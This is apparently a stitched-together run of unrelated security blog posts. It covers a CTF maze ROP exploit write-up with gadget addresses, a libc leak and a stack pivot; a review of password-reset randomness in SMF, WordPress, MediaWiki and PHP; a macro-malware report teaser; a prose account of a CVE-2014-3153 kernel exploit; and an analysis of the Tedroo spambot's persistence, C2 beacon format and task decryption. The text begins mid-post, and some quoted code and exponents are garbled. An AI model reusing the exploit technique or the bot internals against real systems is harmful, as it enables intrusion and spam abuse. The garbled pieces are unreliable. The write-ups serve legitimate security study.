I then wrote a simple recursive algorithm in order to solve the maze:

By connecting and sending the full solution to the maze we reach the vulnerable part of the code, i.e. the code that reads a name to add to the highscore list, in a fraction of a second. So, even if we need to make a few attempts in order to exploit it, due to ASLR, it will not make any real difference for us. Time to pwn. 😉

Since the binary is so small, we don’t have a lot of suitable ROP gadgets to play with. We need to find ways to use the ones we have as effectively as possible. My first attempt was to see if I could return into reached_goal(), right before the call to fopen(). We don’t actually need to get code execution on the target to solve this challenge, to get the flag we only need to be able to read a file (and based on the other levels, it seemed like a reasonable guess that the flag was stored in either /home/user/flag or /home/user/flag.txt). The code in reached_goal() reads the current highscore file, and prints the last of the names in question.

There is a problem with this approach though. We need to populate RDI with a pointer to a string with the filename we want to read, and at this point, we do not know the address of any buffer under our control. This problem is possible to solve by returning into read() though, in order to populate a buffer at an address of our choosing. A suitable address for this purpose must obviously be a valid and writable one, and since the target is a non-PIE-binary, the data segment for the executable itself resides at a fixed and known address. We can simply use 0x6060A0, which is the address of the .data section.

Note that read() is a libc-function, and since we do not know the address where libc is mapped, we can not return directly into read(). If we had known the libc base address, we could have just returned directly into system() at this point, after populating RDI with the address of the “/bin/sh” string within libc itself. We solve this by returning into the PLT-entry for read(), since read() is one of the functions that are imported by the non-PIE target binary. The PLT-entry for read(), which acts as a trampoline into read() in libc, is stored at 0x400850.

Since read() takes three arguments, that are passed in RDI, RSI and RDX respectively, we need to make a ROP chain that populates those registers before returning into read(). Ideally, our target binary would have contained instruction sequences such as “pop rdi; ret”, “pop rsi; ret” and “pop rdx; ret”, or even “pop rdi; pop rsi; pop rdx; ret”, but those instruction sequences are not commonly found in practice. Since x86 and x86_64 use variable-length instructions, that do not have to be aligned to any n-byte-boundary, it is possible to return into the middle of existing instructions though. By looking at partial instructions as well, we can find “pop rdi; ret” at 0x400f63 (the “pop rdi” instruction, opcode 0x5F, is actually the second byte of “pop r15” instruction) and “pop rsi; pop r15; ret” at 0x400f61 (the “pop rsi”, opcode 0x5E, is the second byte of a “pop r14” instruction), as you can see below:

maze-rop-gadgets

It doesn’t matter that there is a “pop r15” instruction between the “pop rsi” and the “ret” instruction, as long as we are able to populate the registers we care about, without any side effects that cause the program to crash (invalid memory accesses, etc), it suits our purposes just fine.

Looking for ROP gadgets manually can be time-consuming though, especially for small binaries where there are few naturally occuring instruction sequences that are useful. Alternatives include using PEDA, Python Exploit Development Assistance for GDB, as can be seen below:

As you can see above, there are unfortunately no suitable “pop rdx” gadgets. There may be other ways for us to populate RDX though, and for our purposes, we don’t need to populate RDX with any specific value. Any non-zero value that is not too small is fine. The code we want to execute is read(0, ptr, N), where ptr is a pointer to a buffer that we are reading data into and N just needs to be at least as large as the data we want to read. As long as RDX still contains a non-zero value after the read(), even 1 might have been ok, if we can chain multiple calls to read().

For a more complete listing of ROP gadgets, that we can inspect manually in order to see if we can find anything useful, the ROPgadget tool by Jonathan Salwan can be used:

There does not seem to be any obvious gadgets available for setting RDX, and unfortunately, RDX is set to 0 (as a side effect of the call to fclose() before returning from append_highscore(), at least when running it on my own system while testing) when the function epilogue for reached_goal() is executed. Since RDX can be set as a side-effect when calling functions, we can try looking for “harmless” functions to return into in order to set RDX to a non-zero value though.

We also still have the problem of not knowing the base address of libc, and maybe there’s a way to solve both of these problems at once. 🙂 By returning into the PLT-entry for puts(), that prints a string (or rather, prints any data up until the first NUL-byte it encounters), with RDI set to an address that contains a pointer into libc (such as a GOT-entry), we are able to both set RDX as a side-effect of the call to puts(), as well as leak a libc address that can be used to calculate the address of arbitrary libc functions. The fact that puts() also happens to set RDX as a side-effect was just a lucky coincidence, but if it hadn’t, there were a number of other functions we could try to call for that purpose.

Our original plan of simply returning into reached_goal(), right before the call to fopen(), is now obsolete. Since we have now leaked a libc address, we can simply use the read() in order to read a second stage ROP chain into a known location and then pivot the stack into that. The exploit will read the leaked address (a pointer to puts() in libc, by reading the GOT-entry for puts() in the address space of the non-PIE binary), calculate the base address of libc from that, and then the address of system(). Since we have just read arbitrary data into a known location, we can also place an arbitrary command string to be executed there, rather than using the “/bin/sh” string from libc. This also makes it more suitable for cases where we don’t know which libc version is used on the target system, since we only have to bruteforce one offset (between puts() and system()) rather than also having to know the address of the “/bin/sh” string. Another possibility, in that case, would be to use puts()-calls to leak data at page-boundaries below the leaked puts()-address, in order to find the base address of libc, and then implement symbol resolving by parsing the ELF header. That was actually what I ended up doing on the cfy-challenge, after my attempts that assumed an Ubuntu 14.04 libc failed (it turned out to be Ubuntu 14.10). 😛

The only remaining piece of the puzzle at this point are gadgets to perform the stack pivot, into our second stage ROP chain. For this, we can use a “pop rbp; ret” gadget, that can be found at address 0x400AB0, in order to populate RBP. Then we use the “leave; ret”-equivalent in the function epilogue of reached_goal(), that I have already mentioned earlier, in order to point RSP into our second stage ROP chain. For the first stage ROP chain we also need a simple ret-gadget (such as the one at 0x400F64), since we do not know the exact offset into our buffer where the stack will be shifted (it will vary with each execution). By just filling the start of the buffer with addresses of ret-instructions, it will keep on returning until it reaches our ROP chain that we have placed right at the end of the buffer.

To sum it up. The gadgets we need are:

  • 0x400F64: Prepended to ROP chain for “NOP sled” effect (ret)
  • 0x400F63: Set RDI, i.e. the 1st function argument (pop rdi; ret)
  • 0x400F61: Set RSI, i.e. the 2nd function argument (pop rsi; pop r15; ret)
  • 0x400AB0: Set RBP, to prepare for the stack pivot (pop rbp; ret)
  • 0x400E96: Stack pivot (lea rsp, [rbp-0x28]; pop {rbx,r12-r15,rbp}; ret)

Note that the three first are all from the same function epilogue btw. 🙂

Besides these ROP gadgets, we also need:

  • 0x606028: GOT-entry for puts(), used to leak a libc address
  • 0x400850: PLT-entry for read(), returned into to read our 2nd stage ROP chain
  • 0x4007F0: PLT-entry for puts(), returned into to print the leaked address
  • 0x606XXX: Scratch buffer, that our 2nd stage ROP chain is read into

Initially, I used 0x6060A0 as the scratch buffer address, i.e. the start of the .data section. That resulted into running out of stack space in system() though, since the memory below this address will be used as stack space for functions that we are returning into from our 2nd stage ROP chain. I changed it to 0x606500, to give the stack more room to grow, and now we finally have a full working exploit. 🙂

As a final touch, I implemented support for providing a full interactive pty-session rather than a lousy interactive shell with no job control. 😉 What good is pwning, if you can’t run vim on your targets?! 🙂

Sample session:

Note that you may have to run it multiple times to succeed, due to ASLR. If arrow-up+enter is too cumbersome, just run while true; ./maze-xpl.py; done 🙂

Source code for exploit provided below:

(Mostly) good password resets

This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what’s the RIGHT way to do this?

So, here’s the thing. I like to break stuff, but I generally leave the fixing to somebody else. It’s just safer that way, since I’m not really a developer or anything like that. Instead, I’m going to continue the trend of looking at others’ implementations by looking at three major opensource projects – WordPress, SMF, and MediaWiki. Then, since all of these rely on PHP’s random number implementation to some extent, I’ll take a brief look at PHP.

SMF

SMF 1.1.13 implements the password-reset function in Sources/Subs-Auth.php:

  // Generate a random password.
  require_once($sourcedir . '/Subs-Members.php');
  $newPassword = generateValidationCode();
  $newPassword_sha1 = sha1(strtolower($user) . $newPassword);

Looking at Sources/Subs-Members.php, we find:

// Generate a random validation code.
function generateValidationCode()
{
  global $modSettings;

  $request = db_query('
    SELECT RAND()', __FILE__, __LINE__);

  list ($dbRand) = mysql_fetch_row($request);
  mysql_free_result($request);

  return substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand .
      $modSettings['rand_seed'])), 0, 10);
}

Which is pretty straight forward, but also, in my opinion, very strong. It takes entropy from a bunch of different places:

  • The current time (microtime())
  • PHP’s random number generator (mt_rand())
  • MySQL’s random number generator ($dbRand)
  • A user-configurable random seed

Essentially, it puts these difficult-to-guess values through a cryptographically secure function, sha1(), and takes the first 10 characters of the hash.

The hash consists of lowercase letters and numbers, which means there are 36 possible choices for 10 characters, for a total of 3610 or 3,656,158,440,062,976 possible outputs. That isn’t as strong as it *could* be, since there’s no reason to limit its length to 10 characters (or its character set to 36 characters). That being said, three quadrillion different passwords would be nearly impossible to guess. (By my math, exhaustively cracking all possible passwords, assuming md5 cracks at 5 million guesses/second, would take about 23 CPU-years). Not that cracking is terribly useful – remote bruteforce guessing is much more useful and is clearly impossible.

SMF is my favourite implementation of the three, but let’s take a look at WordPress!

WordPress

WordPress 3.1 implements the password-reset function in wp-login.php:

  $key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM
      $wpdb->users WHERE user_login = %s", $user_login));
  if ( empty($key) ) {
    // Generate something random for a key...
    $key = wp_generate_password(20, false);
    do_action('retrieve_password_key', $user_login, $key);
    // Now insert the new md5 key into the db
    $wpdb->update($wpdb->users, array('user_activation_key=> $key), 
      array('user_login=> $user_login));
  }

wp_generate_password() is found in wp-includes/pluggable.php:

/**
 * Generates a random password drawn from the defined set of characters.
 *
 * @since 2.5
 *
 * @param int $length The length of password to generate
 * @param bool $special_chars Whether to include standard special characters.
      Default true.
 * @param bool $extra_special_chars Whether to include other special characters.
 *   Used when generating secret keys and salts. Default false.
 * @return string The random password
 **/
function wp_generate_password( $length = 12, $special_chars = true, $
      extra_special_chars = false ) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  if ( $special_chars )
    $chars .= '!@#$%^&*()';
  if ( $extra_special_chars )
    $chars .= '-_ []{}<>~`+=,.;:/?|';

  $password = '';
  for ( $i = 0; $i < $length; $i++ ) {
    $password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
  }

  // random_password filter was previously in random_password function which was
      deprecated
  return apply_filters('random_password', $password);
}

This generates a string of random characters (and possibly symbols) up to a defined length, choosing the characters using wp_rand(). So, for the final step, how is wp_rand() implemented? It’s also found in wp-includes/pluggable.php and looks like this:

  global $rnd_value;

  // Reset $rnd_value after 14 uses
  // 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
  if ( strlen($rnd_value) < 8 ) {
    if ( defined( 'WP_SETUP_CONFIG) )
      static $seed = '';
    else
      $seed = get_transient('random_seed');
    $rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
    $rnd_value .= sha1($rnd_value);
    $rnd_value .= sha1($rnd_value . $seed);
    $seed = md5($seed . $rnd_value);
    if ( ! defined( 'WP_SETUP_CONFIG) )
      set_transient('random_seed', $seed);
  }

  // Take the first 8 digits for our value
  $value = substr($rnd_value, 0, 8);

  // Strip the first eight, leaving the remainder for the next call to wp_rand().
  $rnd_value = substr($rnd_value, 8);

  $value = abs(hexdec($value));

  // Reduce the value to be within the min - max range
  // 4294967295 = 0xffffffff = max random number
  if ( $max != 0 )
    $value = $min + (($max - $min + 1) * ($value / (4294967295 + 1)));

  return abs(intval($value));
}

This is quite complex for generating a number! But the points of interest are:

  • Hashing functions (sha1 and md5) are used, which are going to be a lot slower than a standard generator, but they, at least in theory, have cryptographic strength
  • The random number is seeded with microtime() and mt_rand(), which is PHP’s “advanced” randomization function)
  • The random number is restricted to 0 – 0xFFFFFFFF, which is pretty typical

In practice, due to the multiple seeds with difficult-to-predict values and the use of a hashing function to generate strong random numbers, this seems to be a good implementation of a password reset. My biggest concern is the complexity – using multiple hashing algorithms and hashing in odd ways (like hasing the value alone, then the hash with the seed). It has the feeling of being unsure what to do, so trying to do everything ‘just in case’. While I don’t expect to find any weaknesses in the implementation, it’s a little concerning.

Now, let’s take a look at my least favourite (although still reasonably strong) password-reset implementation: MediaWiki!

MediaWiki

MediaWiki 1.16.2 was actually the most difficult to find the password reset function in. Eventually, though, I managed to track it down to includes/specials/SpecialUserlogin.php:

    $np = $u->randomPassword();
    $u->setNewpassword( $np, $throttle );
    $u->saveSettings();
    $userLanguage = $u->getOption( 'language);
    $m = wfMsgExt( $emailText, array( 'parsemag', 'language=> $userLanguage ), 
      $ip, $u->getName(), $np,
        $wgServer . $wgScript, round( $wgNewPasswordExpiry / 86400 ) );
    $result = $u->sendMail( wfMsgExt( $emailTitle, array( 'parsemag', 
      'language=> $userLanguage ) ), $m );

$u->randomPassword() is found in includes/User.php looks like this:

  /**
   * Return a random password. Sourced from mt_rand, so it's not particularly secure.
   * @todo hash random numbers to improve security, like generateToken()
   *
   * @return \string New random password
   */
  static function randomPassword() {
    global $wgMinimalPasswordLength;
    $pwchars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz';
    $l = strlen( $pwchars ) - 1;

    $pwlength = max( 7, $wgMinimalPasswordLength );
    $digit = mt_rand( 0, $pwlength - 1 );
    $np = '';
    for ( $i = 0; $i < $pwlength; $i++ ) {
      $np .= $i == $digit ? chr( mt_rand( 48, 57 ) ) : $pwchars{ mt_rand( 0, $l ) };
    }
    return $np;
  }

This is easily the most complex, and also most dangerous, password-reset implementation that I’ve found.

First, the length is only 7 characters by default. That’s already an issue.

Second, the set of characters is letters (uppercase + lowercase) and exactly one number. And it looks to me like they put a lot of effort into figuring out just how to put that one number into the password. Initially, I thought this made the password slightly weaker due to the following calculations:

  • 7 characters @ 52 choices = 527 = 1,028,071,702,528
  • 6 characters @ 52 choices + 1 character @ 10 choices = 526 * 10 = 197,706,096,640

However, as my friend pointed out, because you don’t know where, exactly, the number will be placed, that actually adds an extra multiplier to the strength:

  • 6 characters @ 52 choices + 1 characters @ 10 choices + unknown number location = 526 * 10 * 7 = 1,383,942,676,480

So, in reality, adding a single number does improve the strength, but only by a bit.

Even with the extra number, though, the best we have at 7 characters is about 1.4 trillion choices. As with the others, that’s essentially impossible to guess/bruteforce remotely. That’s a good thing. However, with a password cracker and 5 million checks/second, it would take a little over 3.2 CPU-days to exhaustively crack all generated passwords, so that can very easily be achieved.

The other issue here is that the only source of entropy is PHP’s mt_rand() function. The next section will look at how PHP seeds this function.

PHP

All three of these implementations depend, in one way or another, on PHP‘s mt_rand() function. The obvious question is, how strong is mt_rand()?

I’m only going to look at this from a high level for now. When I have some more time, I’m hoping to dig deeper into this and, with luck, bust it wide open. Stay tuned for that. 🙂

For now, though, let’s look at the function that’s used by all three password-reset functions: mt_rand(). mt_rand() is an implementation of the Mersenne Twisteralgorithm, which is a well tested random number generator with an advertised average period of 219937-1. That means that it won’t repeat until 219937-1 values are generated. I don’t personally have the skills to analyze the strength of the algorithm itself, but what I CAN look at is the seed.

Whether using rand() or mt_rand(), PHP automatically seeds the random number generator. The code is in ext/standard/rand.c, and looks like this:

PHPAPI long php_rand(TSRMLS_D)
{
    long ret;

    if (!BG(rand_is_seeded)) {
        php_srand(GENERATE_SEED() TSRMLS_CC);
    }
    // ...
}

Simple enough – if rand() is called without a seed, then seed it with the GENERATE_SEED() macro, which is found in ext/standard/php_rand.h:

#ifdef PHP_WIN32
#define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ 
     ((long)
(1000000.0 * php_combined_lcg(TSRMLS_C))))
#else
#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ 
     ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))
#endif

So it’s seeded with the current time() (known), process id (weak), and php_combined_lcg(). What the heck is php_combined_lcg? Well, an LCG is a Linear Congruential Generator, a type of random number generator, and it’s defined at ext/standard/lcg.c so let’s take a look:

PHPAPI double php_combined_lcg(TSRMLS_D) /* {{{ */
{
    php_int32 q;
    php_int32 z;

    if (!LCG(seeded)) {
        lcg_seed(TSRMLS_C);
    }

    MODMULT(53668, 40014, 12211, 2147483563L, LCG(s1));
    MODMULT(52774, 40692, 3791, 2147483399L, LCG(s2));

    z = LCG(s1) - LCG(s2);
    if (z < 1) {
        z += 2147483562;
    }

    return z * 4.656613e-10;
}

This function also needs to be seeded! It’s pretty funny to seed a random number generator with another random number generator – what, exactly, does that improve?

Here is what lcg_seed(), in the same file, looks like:

static void lcg_seed(TSRMLS_D) /* {{{ */
{
    struct timeval tv;

    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
    } else {
        LCG(s1) = 1;
    }
#ifdef ZTS
    LCG(s2) = (long) tsrm_thread_id();
#else 
    LCG(s2) = (long) getpid();
#endif

    /* Add entropy to s2 by calling gettimeofday() again */
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s2) ^= (tv.tv_usec<<11);
    }

    LCG(seeded) = 1;
}

This is seeded with the current time (known), the process id (weak), and the current time again (still known).

So to summarize, unless I’m missing something, PHP’s automatic seeding uses the following for entropy:

  • Current time (known value)
  • Process ID (predictable range)
  • php_combined_lcg
    • Current time (again)
    • Process id (again)
    • Current time (yet again)

I haven’t done any further research into PHP’s random number generator, but from what I’ve seen I don’t get a good feeling about it. It would be interesting if somebody took this a step further and actually wrote an attack against PHP’s random number implementation. That, or discovered a source of entropy that I was unaware of. Because, from the code I’ve looked at, it looks like there may be some problems.

An additional issue is that every seed generated is cast to a (long), which is 32-bits. That means that at the very most, despite the ridiculously long period of the mt_rand() function, there are only 4.2 billion possible seeds. That means, at the very best, an application that relies entirely on mt_rand() or rand() for their randomness are going to be a lot less random than they think!

It turns out, after a little research, I’m not the only one who’s noticed problems with PHP’s random functions. In fact, in that article, Stefan goes over a history of PHP’s random number issues. It turns out, what I’ve found is only the tip of the iceberg!

Observations

I hope the last three blogs have raised some awareness on how randomization can be used and abused. It turns out, using randomness is far more complex than people realize. First, you have to know how to use it properly; otherwise, you’ve already lost. Second, you have to consider how you’re generating the it in the first place.

It seems that the vast majority of applications make either one mistake or the other. It’s difficult to create “good” randomness, though, and I think the one that does the best job is actually SMF.

Recommendation

Here is what I would suggest:

  • Get your randomness from multiple sources
  • Save a good random seed between sessions (eg, save the last output of the random number generator to the database)
  • Use cryptographically secure functions for random generation (for example, hashing functions)
  • Don’t limit your seeds to 32-bit values
  • Collect entropy in the application, if possible (what happens in your application that is impossible to guess/detect/force but that can accumulate?)

I’m sure there are some other great suggestions for ensuring your random numbers are cryptographically secure, and I’ve love to hear them!

Malware ROI and the Return of Malicious Macros: It’s Not Personal, It’s Business

We have written frequently on Threat Insight about the return of malicious macros as an exploit technique in email-borne threats, and while the campaigns have evolved the question has lingered: How and why did this ‘outdated’ technique so quickly become a key part of massive malware campaigns? It’s a truism to say that cybercriminals are a business, but how does that affect their choice of technology?

Attack techniques come and go as technology and user behaviors change and defenses adapt to new threats – and sometimes take their eye off old ones – and the return of malicious macros offers an opportunity to examine and understand the drivers behind these adaptations, an exercise that is equal parts business case and technical analysis. By combining technical analysis of malware samples with investigation on cybercriminal forums, this report exposes the economic and technical drivers behind the recent rise of malicious macros and enables cybersecurity practitioners to better defend their organizations against this and future advanced threats.

Proofpoint research into threats and underground forums finds that, from a cost perspective, malicious macros deliver the most ‘bang for the buck’ because they combine lower up-front and maintenance costs with higher effectiveness to create a ‘killer app’ for cybercriminals.

Technical analysis and threat intelligence allow us to identify the cause behind the explosive return of malicious macros as an exploit technique featuring daily in massive campaigns:

  • Highly successful at evading not only traditional signature- and reputation-based defenses, but also newer behavioral sandboxes
  • Able to be frequently updated easily and at low cost
  • Cross-platform and “unpatchable,” because it is not limited by vulnerabilities on a specific operating system or application version
  • Reliance on end-user interaction leverages social engineering to bypass automated defenses
  • Low up-front and maintenance costs increase return on investment (ROI)

Combined in a single solution, it is no surprise that malicious macro attachment campaigns have grown so rapidly in both size and frequency, and we can expect that they will only begin to subside when this equation changes and either their cost increases or effectiveness decreases to the point that they can no longer deliver the same ROI.

Our new report, “The Cybercrime Economics of Malicious Macros,” examines the technical and business characteristics of malicious macros to provide insights into the behavior of threat actors and other members of the cybercriminal underground through a case study in the way of technical innovation and business value can combine to create a landscaping-changing malware trend. Click here to download the report.

CVE-2014-3153 Exploit

futex-exploit

This awesome vulnerability, that affect pretty much all Linux kernels from the last five years, was found by Comex about a month ago. It is also the vulnerability that is used in TowelRoot by GeoHot, to root the Samsung S5 and a bunch of other Android based devices. TowelRoot is closed source and heavily obfuscated though, and there are still no public exploits available for this vulnerability for desktop/server systems. So, I decided to make one myself. 😉

One of the interesting things with this vulnerability is that it is triggered through the futex() syscall, that is usually allowed even within very limited sandboxes (such as the seccomp-based one used by Google Chrome). The reason that this syscall is usually allowed is because it’s used to implement threading primitives, so unless the sandboxed application is single-threaded the futex() syscall is required.

This is not the first, and certainly not the last, time that I developed a kernel exploit. Some of you may remember the exploit I developed for a Windows GDI vulnerability back in 2006, for a vulnerability that Microsoft did not patch until two weeks after I demonstrated my exploit at BlackHat Europe in 2007. I must say though, this was definitely more challenging than most kernel vulnerabilities I have researched. Fortunately, challenging equals fun for me. 😉

My initial exploit patched the release() function pointer in the ptmx_fops structure, to achieve code execution in kernel context and calling commit_creds(prepare_kernel_cred(0)). The problem with this approach, however, was that it is prevented by a protection mechanism known as SMEP, that is supported by Intel Haswell CPU:s. Due to this, I changed my exploit to target the addr_limit value in the thread_info structure instead. This allows me to enable one of my threads to read/write arbitrary kernel memory, and provide root-access for me (and optionally disable other kernel-based protection mechanisms, such as SELinux) without having to executing any code in kernel context.

To Comex, great job in finding this vulnerability! I first realized what a talent you have after reverse-engineering your star-exploit back in 2010 (before realizing that you had released it as open source :D), that you used for the JailbreakMe 2.0 site. Judging from all the vulnerabilities you have found since then, you are no one-hit-wonder either. 😉 Unlike a lot of the kids these days, you find a lot of vulnerabilities that requires a deep understanding of the target code in question, rather than just throwing a fuzzer at it.

To GeoHot, really impressive work with developing the TowelRoot exploit in such a short amount of time! The breadth and depth of your work, ranging from PS3 jailbreaks, iPhone unlocks and jailbreaks, and now Android roots, not to mention your success in CTF competitions with PPP as well as with your one-man-team, is truly an inspiration. 🙂

Tedroo Spambot Analysis

 

This is a tutorial analyzing the Tedroo spam bot. The MD5 for the binary is 37d0738dec3c65e416aec49e36db81b4. I’ve taken the binaries off the blog but send me an email ( brad _at_ reverseco (d0t) de ) if you’d like the binaries and want to dive in yourself. Thanks Greg Newman for providing this piece of malware. I’m going to try to keep this brief as possible and hit on only the high points of what this program does. It’s a spam worm that has been picked up/identified by some of the popular AV engines via VirusTotal.  This is the total from the packed exe.

Crazy enough the VirusTotal for the dumped binary has LESS of a detection prominence in the Anti-Virus community.  Not sure why that is?!?

As you can see this thing goes by a few different names. Well we can fire up IDA and load up the dump that was garnered from the original executable here.  The packer isn’t identified with PEid but it was easy enough to find the OEP and use Ollydump to make a valid file.

After some static/dynamic analysis the dropper does a few things. The dropper specifies the download server to connect out to as well as a decryption routine to decrypt the api’s that are included in the binary. The algorithm for the encrypted api’s is pretty easy to reverse and it’s pseudocode is [encrypted_address+counter] XOR [0x54 + counter]. Here is a sample of one of the routines. Later on it hides the calling conventions to these API’s to make static analysis more difficult.

.text:00403728
.text:00403728 decrypt_api_ntohs: ; CODE XREF: start+224j
.text:00403728 mov dl, al
.text:0040372A add dl, 54h
.text:0040372D xor byte_405590[eax], dl
.text:00403733 inc eax
.text:00403734 cmp eax, 6
.text:00403737 jb short decrypt_api_ntohs
.text:00403739 xor eax, eax

This routine will decrypt the strings for the API’s that it wishes to load. It utilizes these later by pushing the decrypted api string onto the stack then calling GetProcAddress to let the program know where it’s located in memory for future reference.

.text:00403945 push offset byte_40555C ; lpProcName
.text:0040394A push dword_4059A0 ; hModule
.text:00403950 mov dword_405988, eax
.text:00403955 call esi ; GetProcAddress

After decrypting and loading libraries that will be utilized the dropper tries to throw us off the trail by calling the Sleep API for 10 minutes.  Feel free to modify this to 0 or go grab a cup of coffee!

.text:00403A85 push 927C0h ; dwMilliseconds
.text:00403A8A call esi ; Sleep ; wait 10 minutes

Next up drop file routine is called and it copies itself to userini.exe in the system32 directory. This is an exact copy of the dump file that is included in the archive above.  Two threads are then created that do the spam list requesting and other things that we’ll explore now.

.text:00403A91 push edi
.text:00403A92 push edi
.text:00403A93 push edi
.text:00403A94 push offset Thread1
.text:00403A99 push edi
.text:00403A9A push edi
.text:00403A9B call CreateThread ; createthread
.text:00403AA1 push edi
.text:00403AA2 push edi
.text:00403AA3 push edi
.text:00403AA4 push offset Thread2
.text:00403AA9 push edi
.text:00403AAA push edi
.text:00403AAB mov dword_405964, eax ; result from CreateThread
.text:00403AB0 call CreateThread
.text:00403AB6 mov dword_4059DC, eax ; Result from CreateThread

One thread is relegated to making sure our registry keys are made to startup and the other thread gets some encrypted xml from the spam server.  Most notable registry locations that have been plucked from the subroutine @ 401CB4 are….

Software\Microsoft\Windows\CurrentVersion\run
Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
Software\Microsoft\Windows\CurrentVersion\Explorer

There are additional registry strings that are in the file but are not currently used. The others attempt to modify firewall settings to make sure the malware has an open line to the internet. The next step is to report to the spam server and do it’s bidding. The second thread in the program forms a http GET request that has a similar structure to this url http://%5BSPAM_SERVER_IP%5D/source/zxhttr.php?id=%5BWINDOWS_REGID%5D&tick=%5BUPTIME_DATA%5D&ver=%5BWSOCKVER%5D&smtp=ok&task=3&#8243;.  Once the response is read into the buffer this is our encrypted xml string that contains who to spam, what to spam them with. This information can change and it looks like the program has a capability to update itself if the botmasters decide to serve up something else. Here is the routine where the string is formatted before it hits the wire.

.text:0040321B
.text:0040321B Format_String_Wire: ; “202”
.text:0040321B push offset a202
.text:00403220 call atoi
.text:00403225 pop ecx
.text:00403226 push dword_405A0C
.text:0040322C push offset aOk ; “ok”
.text:00403231 push eax
.text:00403232 call dword_405694
.text:00403238 mov ebx, ds:sprintf
.text:0040323E push eax
.text:0040323F push offset Dest
.text:00403244 push offset aSourceZxhttr_p ; “/source/zxhttr.php
.text:00403249 lea eax, [ebp+Dest]
.text:0040324F push offset aS?idSTickDVerD ; “%s?id=%s&tick=%d&ver=%d&smtp=%s&task=%d”…
.text:00403254 push eax ; Dest
.text:00403255 call ebx ; sprintf

Now if you notice there’s a few variables that get passed back to the spam server. ID is our unique windows id from the regkey “id” @ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer. Tick is derived from GetTickCount API which reports back how long it’s been since we’ve booted up so this returns uptime data to the spammers. Version is hardcoded in the program but appears to request version 2.02 of windows sockets. Task is an internal notation to the spam server to flag “3” as sending out spam activity.

*If you also notice this particular server is running Server: nginx/0.6.32.  This was fished out of the http response.  Notice there are numerous exploits for this server and how it was probably compromised into a spam press!  Use the following search string to track some down (nginx + “security advisory” + “0.6.32”).  Of course you can modify this to find POC’s or whatnot .

Next we’re going to dive into the decryption routine for the http response as well as utilize some code to do this for us.

.text:00401874
.text:00401874 Decrypt_HTTP_Stream: ; CODE XREF: sub_40184E+5Fj
.text:00401874 push [ebp+var_8]
.text:00401877 lea eax, [ebp+var_1]
.text:0040187A call sub_401223
.text:0040187F mov al, byte ptr Dest[edi]
.text:00401885 add al, 20h
.text:00401887 xor al, [ebp+var_1]
.text:0040188A inc edi
.text:0040188B mov [esi+ebx], al
.text:0040188E mov eax, offset Dest
.text:00401893 lea ecx, [eax+1]

I’m going to use python here btw.  Python to construct the http responses as it’s very quick/easy to utilize urllib2 to construct this data and save it.  Here is the source. The decryption algorithm works like this. The original stream thats taken take the 2 bytes and produce a hex representation of them. “68” would be 0x68. Take this and XOR this with the ID from HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\id + 0x20. So if the first character from your id is “4” it’d be 0x34 + 0x20 = 0x54. 0x54 XOR 0x68 gives us 0x3C which is “<” or the first character of an xml formatted tag.  Here is an example of a decrypted portion from the server.

<config>
</config>
<info>
taskid=3
realip=MY_IP_HERE
hostname=MY_HOSTNAME_HERE
style=0
</info>
<emails>
email123@spamme.com
email12390@email.com
</emails>
</info>

This is how the response looks after decryption and directs the program flow throughout the bot. The python script should clear up any questions you may have. This could change as the botmasters could serve up a different program. The flags to look for those routines are run and update. I’m thinking about coding up a php emulator to do just this for analysis or if anyone wants to volunteer that for additional study it’d be great🙂

After our stream is processed in the program begins formatting email messages to send out over the wire. Processing occurs like this.

.text:00401E1C
.text:00401E1C push ebp
.text:00401E1D mov ebp, esp
.text:00401E1F sub esp, 258h
.text:00401E25 push ebx
.text:00401E26 push esi
.text:00401E27 push edi
.text:00401E28 mov esi, offset aHostname ; “hostname=”
.text:00401E2D lea edi, [ebp+var_48]
.text:00401E30 movsd
.text:00401E31 movsd
.text:00401E32 movsw
.text:00401E34 mov esi, offset aStyle ; “style=”
.text:00401E39 lea edi, [ebp+var_30]
.text:00401E3C movsd
.text:00401E3D movsw
.text:00401E3F movsb
.text:00401E40 mov eax, ds:dword_4042C8
.text:00401E45 mov esi, offset aEmails ; “<emails>”
.text:00401E4A lea edi, [ebp+var_3C]
.text:00401E4D movsd
.text:00401E4E movsd
.text:00401E4F movsb
.text:00401E50 mov esi, offset aInfo ; “<info>”
.text:00401E55 lea edi, [ebp+SubStr]
.text:00401E58 movsd
.text:00401E59 movsw
.text:00401E5B movsb
.text:00401E5C mov esi, offset aText ; “<text>”
.text:00401E61 lea edi, [ebp+var_1C]
.text:00401E64 mov [ebp+var_28], eax
.text:00401E67 mov eax, ds:dword_4042CC

Most notably these functions calls are around 402bd4 and it Create’s a seperate thread for each email message being sent. The email send routine is @ 4022BE. This basically queries the DNS of the spamee’s domain to see what mail server it resolves too.

<span style=”color:#c0c0c0″>.text:004022BE ; —————————————————————————
.text:004022BE
.text:004022BE Email_Send: ; CODE XREF: sub_402263+4Fj
.text:004022BE push esi ; Size
.text:004022BF push ebx ; Val
.text:004022C0 push ebp ; Dst
.text:004022C1 call memset
.text:004022C6 add esp, 0Ch
.text:004022C9 push ebx
.text:004022CA lea eax, [esp+1Ch+var_4]
.text:004022CE push eax
.text:004022CF push ebx
.text:004022D0 push ebx
.text:004022D1 push 0Fh
.text:004022D3 push [esp+2Ch+Email_Domain]
.text:004022D7 call dnsapi_DnsQueryA
.text:004022DD test eax, eax
.text:004022DF jnz loc_402681
.text:004022E5 mov ecx, [esp+18h+var_4]
.text:004022E9 call Get_MailServer
.text:004022EE mov edi, eax ; return mailserver of said domain
